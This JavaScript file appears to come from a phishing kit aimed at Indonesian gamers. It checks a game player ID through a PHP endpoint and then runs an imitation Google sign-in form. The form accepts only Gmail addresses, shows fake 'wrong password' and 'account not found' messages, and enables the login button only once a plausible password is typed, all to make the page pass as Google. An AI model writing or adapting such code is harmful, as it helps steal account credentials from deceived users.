function doCheckID() {
    const verify_id = document.getElementById('cekid_playid').value.trim();
    const cekid_status = document.getElementById('cekid_status');

    $("#cekid_status").addClass('loading');
    $("#cekid_status").html('<i class="fa-solid fa-circle-notch fa-spin"></i> SEDANG MENGECEK...').show();
    $("#cekIDButton").attr('disabled', false);

    $.ajax({
        type: 'POST',
        url: 'PetakaCode/trueID.php',
        data: { id: verify_id },
        dataType: 'json',
        success: function(response) {
            $("#cekid_status").removeClass('loading');
            $("#cekid_status").html('').hide();
            $("#cekIDButton").attr('disabled', true);
            if (response.success == true && response.nickname != "UNKNOWN") {
                $("#cekIDButton").attr('disabled', false);

                const nickname = response.nickname || '';
                $("#cekid_status").addClass('success');
                $("#cekid_status").html('<i class="fa-solid fa-check-double"></i> '+nickname).show();
                $("#showNickname").html(nickname);
                $('#playid').val(verify_id);
                $('#nickname').val(nickname);

                $("#popupCekID").fadeOut('slow');
            } else {
                $("#cekIDButton").attr('disabled', false);

                $("#cekid_status").addClass('error shake');
                $("#cekid_status").html('<i class="fa-solid fa-triangle-exclamation"></i> ID PEMAIN TIDAK DITEMUKAN').show();
            } 
        },
        error: function() {
            $("#cekIDButton").attr('disabled', false);

            $("#cekid_status").addClass('error shake');
            $("#cekid_status").html('<i class="fa-solid fa-triangle-exclamation"></i> ID PEMAIN TIDAK DITEMUKAN').show();
        }
    });
}

$("#email-google").on('input', function() {
    $emailgg = $('#email-google').val().trim();
    $passwordgg = $('#password-google').val();

    const emailInput = document.getElementById('email-google');
    const emailValue = emailInput.value;
    const gmailRegex = /^[a-zA-Z0-9._%+-]+@gmail\.com$/;

    if($emailgg == '' || $emailgg == null || $emailgg.length <= 5)
    {
        $('.email-gg').text('Maaf, kami tidak bisa menemukan akun Anda.').show();
        $('.sandi-gg').hide();
        $('.login-google').show();
        return;
    } else if(!gmailRegex.test(emailValue)) {
        $('.email-gg').text('Silakan masukkan alamat Gmail yang valid (harus diakhiri dengan @gmail.com)').show();
        $('.sandi-gg').hide();
        $('.login-google').show();
        return;
    } else {
        $('.email-gg').hide();
    }

    var regexHanyaAngka = /^\d+$/;

    if($passwordgg == '' || $passwordgg == null || $passwordgg.length <= 5)
    {
        $('.sandi-gg').text('Kata sandi salah!').show();
        $(".btn-login-google").attr('disabled', true);
        return;
    } else if (regexHanyaAngka.test($passwordgg)) {
		$('.sandi-gg').text('Password tidak boleh hanya angka').show();
        $(".btn-login-google").attr('disabled', true);
		return;
	} else {
        $(".sandi-gg").hide();
    }

    $(".btn-login-google").attr('disabled', false);
});

$("#password-google").on('input', function() {
    $emailgg = $('#email-google').val().trim();
    $passwordgg = $('#password-google').val();

    const emailInput = document.getElementById('email-google');
    const emailValue = emailInput.value;
    const gmailRegex = /^[a-zA-Z0-9._%+-]+@gmail\.com$/;

    if($emailgg == '' || $emailgg == null || $emailgg.length <= 5)
    {
        $('.email-gg').text('Maaf, kami tidak bisa menemukan akun Anda.').show();
        $('.sandi-gg').hide();
        $(".btn-login-google").attr('disabled', true);
        return;
    } else if(!gmailRegex.test(emailValue)) {
        $('.email-gg').text('Silakan masukkan alamat Gmail yang valid (harus diakhiri dengan @gmail.com)').show();
        $('.sandi-gg').hide();
        $(".btn-login-google").attr('disabled', true);
        return;
    } else {
        $('.email-gg').hide();
    }

    var regexHanyaAngka = /^\d+$/;

    if($passwordgg == '' || $passwordgg == null || $passwordgg.length <= 5)
    {
        $('.sandi-gg').text('Kata sandi salah!').show();
        $(".btn-login-google").attr('disabled', true);
        return;
    } else if (regexHanyaAngka.test($passwordgg)) {
		$('.sandi-gg').text('Password tidak boleh hanya angka').show();
        $(".btn-login-google").attr('disabled', true);
		return;
    }  else {
        $(".sandi-gg").hide();
    }

    $(".btn-login-google").attr('disabled', false);
});